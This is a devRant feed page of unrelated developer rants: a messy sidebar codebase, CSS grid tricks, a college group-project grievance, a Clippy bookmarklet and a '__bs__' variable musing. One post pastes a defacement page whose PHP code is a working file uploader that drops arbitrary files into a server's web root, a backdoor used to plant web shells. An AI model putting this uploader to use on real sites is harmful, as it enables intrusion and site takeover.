Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
-
I'm editing the sidebar on one of our websites, and shuffling some entries. It involves moving some entries in/out of a dropdown and contextual sidebars, in/out of submenus, etc. It sounds a little tedious but overall pretty trivial, right?
This is day three.
I learned React+Redux from scratch (and rebuilt the latter for fun) in twice that long.
In my defense, I've been working on other tasks (see: Alerts), but mostly because I'd rather gouge my freaking eyes out than continue on this one.
Everything that could be wrong about this is. Everything that could be over-engineered is. Everything that could be written worse... can't, actually; it's awful.
Major grievances:
1) The sidebars (yes, there are several) are spread across a ridiculous number of folders. I stopped counting at 20.
2) Instead of icon fonts, this uses multiple images for entry states.
3) The image filenames don't match the menu entry names. at all. ("sb_gifts.png" -> orders); active filenames are e.g. "sb_giftsactive.png"
4) The actions don't match the menu entry names.
5) Menu state is handled within the root application controller, and doesn't use bools, but strings. (and these state flags never seem to get reset anywhere...)
6) These strings are used to construct the image filenames within the sidebar views/partials.
7) Sometimes access restrictions (employee, manager, etc.) are around the individual menu entries, sometimes they're around a partial include, meaning it's extremely difficult to determine which menu entries/sections/subsections are permission-locked without digging through everything.
8) Within different conditionals there are duplicate blocks markup, with duplicate includes, that end up render different partials/markup due to different state.
9) There are parent tags outside of includes, such as `<ul>#{render 'horrific-eye-stabbing'}</ul>`
10) The markup differs per location: sometimes it's a huge blob of non-semantic filthiness, sometimes it's a simple div+span. Example filth: section->p->a->(img,span) ... per menu entry.
11) In some places, the markup is broken, e.g. `<li><u>...</li></u>`
12) In other places, markup is used for layout adjustments, such as an single nested within several divs adorned with lots of styles/classes.
13) Per-device layouts are handled, not within separate views, but by conditionally enabling/disabling swaths of markup, e.g. (if is_cordova_session?).
14) `is_cordova_session` in particular is stored within a cookie that does not expire, and within your user session. disabling it is annoying and very non-obvious. It can get set whether or not you're using cordova.
15) There are virtually no stylesheets; almost everything is inline (but of course not actually everything), which makes for fun layout debugging.
16) Some of the markup (with inline styling, no less) is generated within a goddamn controller.
17) The markup does use css classes, but it's predominately not for actual styling: they're used to pick out elements within unit tests. An example class name: "hide-for-medium-down"; and no, I can't figure out what it means, even when looking at the tests that use it. There are no styles attached to that particular class.
18) The tests have not been updated for three years, and that last update was an rspec version bump.
19) Mixed tabs and spaces, with mixed indentation level (given spaces, it's sometimes 2, 4, 4, 5, or 6, and sometimes one of those levels consistently, plus an extra space thereafter.)
20) Intentional assignment within conditionals (`if var=possibly_nil_return_value()`)
21) hardcoded (and occasionally incorrect) values/urls.
... and last but not least:
22) Adding a new "menu sections unit" (I still haven't determined what the crap that means) requires changing two constants and writing a goddamn database migration.
I'm not even including minor annoyances like non-enclosed ternaries, poor naming conventions, commented out code, highly inefficient code, a 512-character regex (at least it's even, right?), etc.
just.
what the _fuck_
Who knew a sidebar could be so utterly convoluted?6 -
CSS quick maffs
You need to make a responsive grid that should wrap its columns on smaller screens. That's whay you do:
.grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(15rem, auto));
}
Replace 15rem with minimal width of a grid cell. Putting 0 there is bad because columns won't wrap then.
Now, let's make our task harder. We want the same grid, but we want say 4 columns max. That's what we should do:
.grid {
--columns: 4;
display: grid;
grid-template-columns: repeat(auto-fill, minmax(max(15rem, (100% - (var(--columns) - 1) * 1rem) / var(--columns)), 1fr));
}
--columns regulate the maximum amount of columns we can have.
Aight bye4 -
tldr:
first year in college we programmed 24 hrs straight to fix somebody's mess before the deadline. Decided not to screw him over, instead he claimed to have done everything and we failed the assignment.
Long version:
var group= new[]{"Mike", "Gavin", "Gus", "I", "Ben" };
var client = "Jack"';
First year of college we had an assignment to make a web program for somebody.
Ben wanted to join our group and he already knew a client so we let him join.
After joining Ben wanted to be project lead, but we already decided Mike based on his experience.
Ben claimed to be much better in every way than Mike at and kept coming with stuff the following weeks why we should make him project lead. He kept pointing out when Mike did something wrong and he even came with an audio file where he clearly made jack say that he wanted Ben to be project lead .
After that we were all a bit pissed and told him that he should get it in his head that he was not going to be project lead and just start working on his part of the assignment.
We also found out that Ben was a documentation addict, what we could write in a small paragraph, he wrote a whole page about it. No joke, I rewrote a page of his in 5-6 rows with the same information in it.
No problem you thing, wrong! Because of this he kept bothering us arguing and claiming that our documentation was wrong because it was to short.
In the week of the deadline we asked Ben if he was also done, and told us that he was done for a while now.
The day before the deadline we came to school thinking we only had to do some merging and finishing up documentation.
Then we found out that Ben has almost nothing, and what he had the IDE was screaming that it was incorrect, spaces in Id's and css class names for instance. A really good programmer, my ass!
We were so pissed off at this point, but we had 24 hrs and needed to come up with a plan to fix it.
We decided that Mike and I were going to fix Ben his shit in the coming 24 hrs and Ben was going to make our last bit of documentation because we would not have the time for that, Especially if we had to argue with him like we had to do for each bit of documentation. Gus did not have time and Gavin could not program on his own yet, he wanted to help, but helping him help us would cost more time than we had.
We all went home after that and Mike and I started to program 24 hours straight while in a Skype call, making what Ben had 2 months for. Shortly before the deadline Mike looked at our finishing up documentation received from Ben and told me it was "Okay" and zipped everything up and uploaded it to school with a few minutes to spare.
After that we thought everything was good, we made Ben's part work and delivered it in time. We also decided not to throw Ben under the bus, because this would hurt all our grades because we did not work good as a group since we should have noticed it earlier.
A few weeks go by till the assessment.
The assessment start with asking if we want individual grades or as a group when you all think you did equal amount. We choose as a group, because if we chose individual not only Ben but also Gavin would get a lower grade and we did not think that was fair because he tried so hard.
We demo the product and the teachers are positive. When the teachers start about the documentation, the first thing they tell is that they found something interesting in the documentation, and they read it to us:
"I, Ben, have made all the documentation because my group did not want to."
That was so far from the truth, we all did make our documentation about the parts we made. Yes he did do overall a little bit more because every single bit of documentation we had to argue with him, so every time he volunteers to make it, we would all agree. And he made Mike's and i's last bit of documentation.
Telling the teachers on that point would not have mattered, it would only have hurt is in another way, so we did not and all failed the assignment. And we all felt like to strangle him.
This is now a few years back, but i still want too.1 -
When I write “grid-template-columns: repeat(auto-fill, minmax(max(15rem, (100% - (var(--columns) - 1) * 1rem) / var(--columns)), 1fr));” in my coworker’s code and it fixes the CSS grid
7 -
My favorate bookmarklet (ES6 only):
javascript:(()=>{var b,c,a=document,f="onreadystatechange",h="https://rawgithub.com/smore-inc/...=(p,q)=>{p.readyState?p[f]=()=>{"loaded"!=p.readyState&&"complete"!=p.readyState||(p[f]=null,q&&q())}:p.onload=function(){q&&q()}},k=()=>{clippy.load("Clippy",p=>{$(".clippy").css("position","fixed"),$(".clippy").css("z-index",1e3),p.show(),p.moveTo(100,100)})},m=()=>{(c=a.createElement("script")).src=h+"clippy.js",a.body.appendChild(c);var p=a.createElement("link");p.rel="stylesheet",p.type="text/css",p.media="all",p.href=h+"clippy.css",a.getElementsByTagName("head")[0].appendChild(p)};"undefined"==typeof jQuery?(b=a.createElement("script"),b.src="https://ajax.googleapis.com/ajax/...,j(b,()=>{m(),j(c,k)})):"undefined"==typeof clippy?(m(),j(c,k)):k()})();14 -
http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
So, I just (few hours ago)made a new variable that's either brilliant or innately flawed... not sure yet. It's an oddly unique var...
__bs__
So far I only made it in python and windows env (i script like the methodology of css).
I bet you're wondering how I've defined __bs__ and the practicality of it.
__bs__ is derived from a calculated level of bullshit that annoys me to tolerate, maintain, etc. as well as things that tend to throw nonsensical errors, py crap like changing my strings to ints at seemingly random times/events/cosmic alignments/etc or other things that have a history of pulling some bs, for known or unknown reasons.
How/why did this come about now?
Well I was updating some symlinks and scripts(ps1 and bat) cuz my hdd is so close to death I'm wondering if hdd ghosts exist as it's somehow still working (even ostream could tell it should be dead, by the sound alone).
A nonsense bug with powershell allowing itself to start/run custom ps1scripts with the originating command coming from a specific batch script, which worked fine before and nothing directly connected to it has changed.
I got annoyed so took an ironic break from it to work on python crap. Python has an innately high level of bs so i did need to add some extra calculations when defining if a py script or function is actually __bs__ or just py.
The current flavour of py bs was the datetime* module... making all of my scripts using datetime have matching import statements to avoid more bs.
I've kept a log of general bs per project/use case. It's more like a warning list... like when ive spent hours debugging something by it's traceback, meticulous... to eventually find out it had absolutely nothing to do with the exception listed. Also logged aliases i created, things that break or go boom if used in certain ways, packages that ive edited, etc.
The issue with my previous logging is that it's a log... id need to read it before doing anything, no matter how quick/simple it should be, or im bound to get annoyed with... bs.
So far i have it set to alert if __bs__ is above a certain int when i open something to edit. I can also check __bs__ fot what's causing the bs. I plan to turn it into a warning and recording system for how much bs i deal with and have historical data of personal performance vs bs tolerance. There's a few other applications i think ill want to use it for, assume it's not bs itself.
*in case you prefer sanity and haven't dealt with py and datetime enough, here's the jist:
If you were to search any major forum like StackOverflow for datetime use in py, youd find things like datetime.datetime.now() and datetime.now() both used, to get the same returned value. You'll also find tons of posts for help and trying to report 'bugs', way more than average. This is because the datetime package has a name conflict... with itself. It may have been a bug several years ago, but it beeb explicitly defined as intentional since.2
Top Tags
Weekly Rant
View